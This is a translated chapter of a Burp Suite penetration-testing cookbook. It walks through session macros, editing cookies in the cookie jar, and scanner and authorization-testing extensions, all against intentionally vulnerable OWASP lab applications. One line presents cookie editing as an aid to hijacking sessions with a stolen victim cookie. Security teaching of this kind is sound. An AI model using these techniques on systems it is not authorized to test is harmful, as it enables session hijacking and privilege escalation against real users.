应用程序代码决策,例如重定向用户的地方,不应依赖客户端可用的值。这些值可能会被篡改,并修改为将用户重定向到攻击者控制的网站或执行攻击者控制的脚本。
第十章:使用 Burp Suite 宏和扩展
本章涉及两个可以独立讨论的主题,或者也可以结合起来:宏和扩展。Burp Suite 宏使渗透测试人员能够自动化事件,例如登录或读取参数,以应对潜在的错误情况。扩展,也叫插件,扩展了 Burp 的核心功能。
在本章中,我们将讨论以下内容:
-
创建会话处理宏
-
陷入“饼干罐”问题
-
添加优秀的渗透测试插件
-
通过 Add & Track Custom Issues 扩展创建新的问题
-
使用 Active Scan++ 扩展
-
使用 Burp Suite 扩展进行漏洞赏金测试
技术要求
为了完成本章中的操作,你需要以下内容:
-
OWASP 破损的 Web 应用 (BWA)
-
OWASP Mutillidae (http://<Your_VM_Assigned_IP_Address>/mutillidae)
-
GetBoo (http://<Your_VM_Assigned_IP_Address>/getboo)
-
Burp Proxy 社区版或专业版 (
portswigger.net/burp/
)
创建会话处理宏
在 Burp Suite 中,项目选项 标签页允许测试人员设置会话处理规则。会话处理规则使测试人员能够指定一组与会话令牌或 跨站请求伪造 (CSRF) 令牌相关的操作,而这些操作会在发送 HTTP 请求时执行。蜘蛛和扫描器有一个默认的会话处理规则。然而,在本例中,我们将创建一个新的会话处理规则,并使用宏帮助我们在使用 Repeater 时从未经身份验证的会话创建一个已验证的会话。
准备工作
使用 OWASP Mutillidae II 应用,我们将创建一个新的 Burp Suite 会话处理规则,并通过相关的宏,在使用 Repeater 时从未经身份验证的会话创建一个已验证的会话。
如何操作…
- 进入 Mutillidae 的登录页面。使用用户名 ed 和密码 pentest 登录应用:
图 10.1 – 使用 ed/pentest 登录
- 通过点击 Logout 按钮立即退出应用,并确保应用确认你已成功注销:
图 10.2 – 注销
- 切换到 Burp Suite 的 Proxy | HTTP history 标签页。查找你刚才发送的注销请求,以及随后的未经身份验证的 GET 请求。选择未经身份验证的请求,也就是第二个 GET 请求。右键点击并将该请求发送到 Repeater,如下所示:
图 10.3 – 发送 GET 请求到 Repeater
- 切换到 Burp Suite 重复器,然后点击发送按钮。在响应的渲染标签页中,确保你收到未登录消息。我们将使用此场景构建一个会话处理规则,将未经身份验证的会话变成经过身份验证的会话,如下所示:
图 10.4 – 重复器
- 点击 Burp Suite 右上角的设置齿轮图标:
图 10.5 – 全局设置齿轮图标
- 然后,选择会话区域,点击会话处理规则部分下的添加按钮,如下所示:
图 10.6 – 添加新的会话处理规则
- 点击添加按钮后,会出现一个弹出框。为你的新规则命名,如LogInSessionRule,在规则动作下,选择运行宏,如下所示:
图 10.7 – 规则名称和动作
- 另一个弹出框出现了,这是会话处理动作编辑器对话框。在第一部分,点击选择宏下的添加按钮,如下所示:
图 10.8 – 添加新宏
- 点击添加按钮后,宏编辑器会弹出,同时弹出另一个宏录制器窗口,如下所示:
图 10.9 – 宏录制器
- 在宏录制器窗口中,找到你作为ed登录的POST请求,以及接下来的GET请求。在宏录制器窗口中高亮这两个请求,然后点击确定,如下所示:
图 10.10 – 选中的动作
- 在之前的对话框中高亮的两个请求现在出现在宏编辑器窗口中。为宏提供描述,如LogInMacro,如下所示:
图 10.11 – 为你的宏命名
- 点击配置项按钮:
图 10.12 – 配置你的宏
你需要验证用户名和密码的值是否正确。完成后,点击确定,如下所示:
图 10.13 – 登录参数设置
- 点击确定关闭宏编辑器窗口。你应该能在会话处理动作编辑器窗口中看到新创建的宏。点击确定关闭此对话框,如下所示:
图 10.14 – 关闭会话处理动作编辑器窗口
- 关闭会话处理操作编辑器窗口后,你将返回到会话处理规则编辑器窗口,此时你将看到规则操作部分已填充了你的宏名称。点击此窗口的范围标签,以定义哪个工具将使用此规则:
图 10.15 – 确定范围
- 在会话处理规则编辑器窗口的范围标签页中,取消选中其他框,只保留Repeater框选中。在URL 范围下,点击包含所有 URL单选按钮。点击确定关闭此编辑器,如下所示:
图 10.16 – 设置范围
- 现在你应该能够在会话处理规则窗口中看到新的会话处理规则,如下所示:
图 10.17 – 启用你的新规则
- 返回到之前未登录应用程序的Repeater标签页。点击发送按钮,看到你现在已作为ed登录!这意味着你的会话处理规则和相关宏起作用了:
图 10.18 – 会话处理规则和相关宏的结果
它是如何工作的…
在这个示例中,我们看到如何通过重放登录过程将一个未经身份验证的会话转换为经过身份验证的会话。创建宏使得手动步骤可以被脚本化,并分配给 Burp Suite 中的各个工具。
Burp Suite 允许测试人员配置会话处理规则,以应对工具套件可能遇到的各种条件。规则提供了在满足这些条件时需要采取的额外操作。在这个示例中,我们通过创建一个新的会话处理规则(称为宏)来解决未经身份验证的会话问题。为了演示目的,我们将该规则的范围限制为Repeater。
被困在饼干罐里
在针对应用程序进行测试时,Burp Suite 在代理和爬行过程中会捕获所有的 cookies。Burp Suite 将这些 cookies 存储在一个名为饼干罐的缓存中。该饼干罐在默认的会话处理规则中使用,并且可以在 Burp Suite 的一系列工具中共享,如Proxy、Intruder 和Repeater。在饼干罐内部,有一个历史请求表,详细列出了每个 cookie 的域和路径。可以编辑或删除饼干罐中的 cookies。
准备开始
我们将打开 Burp Suite 的饼干罐并查看其中的内容。然后,使用 OWASP GetBoo 应用程序,我们将识别新添加到 Burp Suite 饼干罐中的 cookies。
如何操作…
- 点击 Burp Suite 右上角的设置齿轮图标:
图 10.19 – 全局设置齿轮图标
然后,选择Sessions区域并进入Cookie jar部分:
图 10.20 – Cookie 罐
- 在Cookie 罐部分,点击打开 Cookie 罐按钮,如下所示:
图 10.21 – 打开 Cookie 罐
- 新的弹出框出现,显示在Proxy中捕获的所有 Cookie。注意,每个 Cookie 都有Domain、Path、Name和Value的详细信息:
图 10.22 – 每个 Cookie 的详细信息
- 在列表中选择一个 Cookie,并点击编辑 Cookie按钮。例如,我们可以将PHPSESSID Cookie 的值从随机的加密字符串修改为thisIsMyCookie,然后点击确定,如下所示:
图 10.23 – 编辑 PHPSESSID Cookie 值
- 现在值已更改,如下所示:
图 10.24 – 将 Cookie 设置为新值
- Burp Suite Cookie 罐的默认范围是Proxy。然而,您可以将范围扩展到包括其他工具。点击Repeater旁边的复选框,如下所示:
图 10.25 – 设置范围
- 现在,如果您创建一个新的会话处理规则并使用默认的 Burp Suite Cookie 罐,您将看到该 Cookie 的新值在请求中被使用。我们可以通过启用我们的LoginSessionRule会话处理规则来观察其实际效果:
图 10.26 – 启用 LoginSessionRule
- 现在,向Repeater发送未经身份验证的请求并点击发送。注意,您的 Cookie 值是thisIsMyCookie。这个技巧对于会话劫持攻击非常有用,当您窃取受害者的 Cookie 并需要确保 Cookie 值不会恢复为您的会话 Cookie 时:
图 10.27 – 规则和 Cookie 罐更改的结果
它是如何工作的…
Burp Suite Cookie 罐由会话处理规则用于处理 Cookie,当对目标应用程序执行自动化请求时。在这个实例中,我们研究了 Cookie 罐,了解了它的内容,甚至修改了一个捕获的 Cookie 的值。任何使用默认 Burp Suite Cookie 罐的后续会话处理规则都会在请求中看到修改后的值。
添加优秀的渗透测试插件
作为 Web 应用程序测试人员,你会发现一些有用的工具可以添加到你的工具库中,使得评估工作更加高效。Burp Suite 社区提供了许多出色的扩展。在本例中,我们将添加其中的几个,并解释它们如何提升评估效果。Get All Params(GAP)和 Software Vulnerability Scanner 是我们将添加到 Burp Suite 并与被动扫描器一起使用的两个插件。
注意
这两个插件都需要 Burp Suite 专业版。
准备工作
使用 OWASP Mutillidae II 应用程序,我们将添加两个有用的扩展,帮助我们在目标系统中发现更多漏洞。
操作步骤…
-
第一个扩展,GAP-Burp-Extension,可以在以下 GitHub 仓库找到:
github.com/xnl-h4ck3r/GAP-Burp-Extension
。在 Linux 上安装 Git 或在 Windows 上安装 Git(gitforwindows.org/
)。然后,使用 git clonegithub.com/xnl-h4ck3r/GAP-Burp-Extension.git
命令,将仓库下载到本地系统。 -
下载完仓库后,进入 GAP-Burp-Extension 目录。记下 GAP.py 文件的位置。这个文件将加载到 Burp Suite 中以使用扩展:
图 10.28 – 运行 GAP 的 Python 脚本
- 请注意,在使用 GAP 扩展之前,必须先安装 Jython。要安装 Jython,请前往 扩展 | 扩展设置 图标并点击该图标:
图 10.29 – 扩展设置
- 前往 Jython 网站 (
www.jython.org/
) 并下载独立版 Jython JAR 文件:
图 10.30 – 下载 Jython
- 在 Python 环境 部分设置独立版 Jython JAR 文件的位置:
图 10.31 – 配置 Jython
- 配置完成后,通过点击窗口右上角的 X 标志关闭 扩展设置 弹出窗口:
图 10.32 – 关闭设置
配置完成后,前往 Burp Suite | 扩展 标签,选择 已安装 标签。点击 添加 并将 扩展类型 的值更改为 Python。浏览到本地系统中 GAP-Burp-Extension 目录内的 GAP.py 文件所在位置。你可能还需要执行一个 Python pip 命令,在本地系统中安装 GAP 的依赖,命令如下:java -jar jython-standalone-2.7.3.jar -m pip install -r requirements.txt(来源:github.com/xnl-h4ck3r/GAP-Burp-Extension
):
图 10.33 – 安装扩展
- 确保扩展已启用,方法是查看 Burp Suite 的Extensions区域中其名称旁边的复选框是否已勾选:
图 10.34 – 启用扩展
- 扩展加载并启用后,请注意,在 Burp Suite 工具菜单的顶部有一个新的GAP标签:
图 10.35 – 新的 GAP 标签
- 让我们在 Mutillidae 目标上运行 GAP。进入Target | Site map,右键单击应用程序的根目录,然后选择Extensions | GAP:
图 10.36 – 对目标调用 GAP 扩展
- 现在,选择 Burp Suite 工具顶部的GAP标签。注意 GAP 找到的潜在参数列表。我们的ToolID标识符出现在其中,正是我们之前用于利用的标识符!另外,注意到 GAP 为您找到的所有链接。这些是您可以用来拓宽漏洞寻找范围的新攻击向量:
图 10.37 – 使用 GAP 找到的结果
- 对于第二个扩展,切换到 Burp Suite 的Extensions标签。进入BApp Store子标签,找到Software Vulnerability Scanner插件:
图 10.38 – 软件漏洞扫描器扩展
- 点击右侧的Install按钮并选择扩展名称:
图 10.39 – 安装按钮
- 安装完两个插件后,进入Extensions标签,然后是Burp Suite extensions部分。确保两个插件都已启用,并且复选框内有勾选标记。还可以注意到Software Vulnerability Scanner扩展有一个新标签,如下所示:
图 10.40 – 新标签
- 进入Software Vulnerability Scanner标签,注意默认扫描规则以及提供API Token类型以加速扫描速度的选项:
图 10.41 – 软件漏洞扫描器标签内部
- 返回到Target | Site map,将 Mutillidae 主页作为我们的目标。通过右键点击并选择Passively scan this branch,进行轻量级、低侵入性的被动扫描,如下所示:
图 10.42 – 扫描目标
- 请注意Software Vulnerability Scanner产生的额外发现。Vulners插件发现了许多漏洞软件问题:
图 10.43 – 寻找扩展发现
查看第一个发现的详细信息,注意提供的与已知漏洞相关的各种链接:
图 10.44 – 显示可用漏洞的公告
工作原理…
Burp Suite 的功能可以通过 PortSwigger API 扩展,创建自定义扩展,也称为插件。在这个例子中,我们安装了两个插件,帮助识别包含已知漏洞的应用程序中的旧版本软件。
通过添加与跟踪自定义问题扩展创建新问题
尽管 Burp Suite 提供了许多常见的 Web 应用程序安全漏洞的列表,但有时你会发现一个问题并需要创建一个自定义扫描发现。这可以通过 添加与跟踪自定义问题 扩展完成。
注意
此插件需要 Burp Suite Professional 版。
准备就绪
使用 OWASP Mutillidae II 应用程序,我们将添加 添加与跟踪自定义问题 扩展,创建揭示漏洞的步骤,然后使用该扩展创建一个自定义问题。
如何操作…
- 切换到 Burp Suite 扩展 标签页。进入 BApp Store 子标签,找到标记为 添加与跟踪自定义问题 的插件。点击 安装 按钮:
图 10.45 – 添加与跟踪自定义问题扩展
- 确保扩展已加载并启用,在 扩展 | 已安装 | Burp 扩展 部分:
图 10.46 – 加载扩展
-
返回 Firefox 浏览器并浏览到 Mutillidae 的主页。
-
切换到 Burp Suite 代理 | HTTP 历史记录 标签页,找到你刚才浏览到主页时发出的请求。点击 响应 标签。注意查看冗长的 服务器 头信息,指出了 web 服务器类型和版本,以及使用的操作系统和编程语言。这些信息可以被攻击者用来指纹识别技术栈,并识别可被利用的漏洞:
图 10.47 – 创建问题
- 由于这是一个漏洞,我们需要手动创建一个新问题来捕获它并用于报告。在查看 响应 窗口时,右键点击并选择 扩展 | 添加与跟踪自定义问题 | 添加与跟踪自定义问题,如以下所示:
图 10.48 – 创建自定义问题
- 将弹出对话框。在 New Issue 选项卡中,我们可以创建一个名为 Information Leakage in Server Response 的新问题名称。将严重性更改为 Medium。请注意,扩展已经为我们复制了请求和响应在底部面板中。您可以继续在其他文本区域添加更多文字,比如问题详细信息、背景和修复方法。完成后,请点击底部的 Add & Track Custom Issue 按钮:
图 10.49 – 设置名称和严重性
- 完成后,切换回 Target | Site map,并选择 Mutillidae 的根目录。你应该能在 Issues 窗口中看到新创建的扫描问题,如下所示:
图 10.50 – 查看您添加的自定义问题
- Add & Track Custom Issues 扩展提供了一个新选项卡,允许您向内部数据库添加问题。这是一个增值功能,因此不需要在此选项卡中添加问题即可使用该工具。但是,如果您希望创建自己的自定义问题列表,则可选择此选项:
图 10.51 – 问题数据库
工作原理…
如果 Burp Suite 核心问题列表中没有某个问题,测试人员可以使用 Add & Track Custom Issues 扩展自行创建。在这个示例中,我们为服务器响应中的信息泄露创建了一个问题。
参见
想要查看 Burp 识别的所有问题定义清单,请访问 portswigger.net/kb/issues
。
使用 Active Scan++ 扩展
一些扩展能帮助发现带有特定有效载荷(如 XML)的漏洞,或帮助找到隐藏的问题,比如缓存污染和 DNS 重绑定。在这个示例中,我们将添加一个名为 Active Scan++ 的主动扫描器扩展,它能帮助识别这些更专业的漏洞。
注意
此插件需要 Burp Suite 专业版。
准备工作
使用 OWASP Mutillidae II 应用程序,我们将添加 Active Scan++ 扩展,并对目标进行主动扫描。
如何操作…
- 切换到 Burp Suite 的 Extensions | BApp Store 选项卡,并选择 Active Scan++ 扩展。点击 Install 按钮安装该扩展,如下所示:
图 10.52 – Active Scan++ 扩展
-
返回 Firefox 浏览器,并浏览至 Mutillidae 主页。
-
切换到 Burp Suite 的 Target 选项卡,然后选择 Site map 子选项卡,在 mutillidae 文件夹上右键单击,并选择 Actively scan this branch,如下所示:
图 10.53 – 扫描目标
- 在主动扫描器完成后,浏览到问题窗口。记录新安装的扩展发现的任何额外问题。你可以通过查找**此问题由 Burp 扩展生成:Active Scan++**消息来分辨哪些问题是该扩展发现的,如下所示:
图 10.54 – 扩展中的问题
工作原理…
Burp Suite 的功能可以通过使用扩展来扩展,超越核心功能。在本教程中,我们安装了一个插件,将主动扫描器功能扩展,以帮助识别额外的问题,例如本教程中看到的任意头部注入。
使用 Burp Suite 扩展进行漏洞赏金猎取
作为漏洞赏金猎人,你将找到一些便捷的工具,帮助更轻松地识别可能的漏洞。虽然有很多工具,但在本教程中,我们将重点介绍Burp Bounty, Scan Check Builder和Auth Analyzer。
注意
Burp Bounty, Scan Check Builder需要使用 Burp Suite 专业版。
准备工作
针对漏洞赏金猎取,推荐的两个扩展可以在BApp Store子标签中找到。我们将在 Burp Suite 实例中下载并安装它们。接着,我们将演示如何使用每个扩展来发现可能的漏洞,以便获取赏金!
如何操作…
- 在 Burp Suite 的扩展 | BApp Store标签中,选择Burp Bounty, Scan Check Builder并点击安装按钮。然后,选择Auth Analyzer并点击安装按钮:
图 10.55 – 本教程中涉及的两个扩展
- 切换到扩展 | 已安装标签,确保两个扩展都已安装并启用,在Burp 扩展部分中:
图 10.56 – 扩展已安装并启用
- 注意,现有一个名为Burp Bounty Free的新工具标签。点击该标签,然后点击配置文件子标签。可以看到有多个配置文件可供选择,适用于不同类型的扫描器以及请求和响应。现在,我们将使用默认设置:
图 10.57 – Burp Bounty 免费标签
- 返回目标 | 站点地图,右键点击,选择主动扫描此分支。Burp Bounty将使用主动扫描和被动扫描(除非你暂停了它们)来寻找潜在的漏洞:
图 10.58 – 扫描目标
- 在问题面板中,查看每个扩展找到的漏洞前是否有BurpBounty关键词。该扩展提供了多个区域,供你深入挖掘潜在的弱点:
图 10.59 – 扫描结果
- 现在,让我们关注 Auth Analyzer 扩展。Auth Analyzer 帮助发现未授权的 API 端点,以及水平和垂直权限提升。注意,有一个新的工具标签,标注为 Auth Analyzer:
图 10.60 – Auth Analyzer 标签
- 返回 Mutillidae 登录页面,并以 admin 身份登录,密码为 admin。找到你的登录 POST 请求,右键点击,然后选择 扩展 | Auth Analyzer | 自动设置参数 | 创建 新会话:
图 10.61 – 向 Auth Analyzer 发送管理员请求
- 现在,注销 admin 用户。使用 ed 身份和密码 pentest 登录应用程序。右键点击第二次登录的 POST 请求,然后选择 扩展 | Auth Analyzer | 重复 请求 (1):
图 10.62 – 向 Auth Analyzer 发送常规用户请求
- 切换到 Auth Analyzer 标签,启用分析器。你应该看到一个绿色圆点而不是红色圆点,并且会显示 分析器 运行中 标签:
图 10.63 – 启用 Auth Analyzer
- 启用 Auth Analyzer 后,注意到两个登录之间的 差异 被确定了。点击 显示差异 按钮,系统将为你高亮显示差异,以便你更容易查看:
图 10.64 – 查看请求之间的差异
-
你可以使用此扩展先以更高权限的用户身份登录。然后,映射应用程序的功能。完成映射后,点击 注销 按钮。然后,再次登录,但这次以常规用户身份登录,执行映射,并使用 Auth Analyzer 来识别应用程序中任何常规用户可以访问的管理员功能区域。
-
此外,Auth Analyzer 还可以用于移除请求中的 cookies 和访问令牌。这将使你能够更快速地测试未授权的 API 端点。向 Auth Analyzer 发送测试请求后,识别你希望移除的 cookie:
图 10.65 – 移除 cookie 功能
- 然后,向网页或 API 端点发送请求,查看 Auth Analyzer 是否显示在移除 cookie 后有任何差异。以下是移除 PHPSESSID cookie 后的示例。注意,第二次请求中没有 cookie。当使用此功能时,你可以快速判断该功能是否正确使用了授权检查,或者是否存在 bug:
图 10.66 – 看出两个请求之间的差异
它是如何工作的…
为漏洞奖励寻找漏洞可能会耗费时间。Burp Bounty, Scan Check Builder 和 Auth Analyzer 扩展都可以帮助加速发现目标应用程序中的漏洞。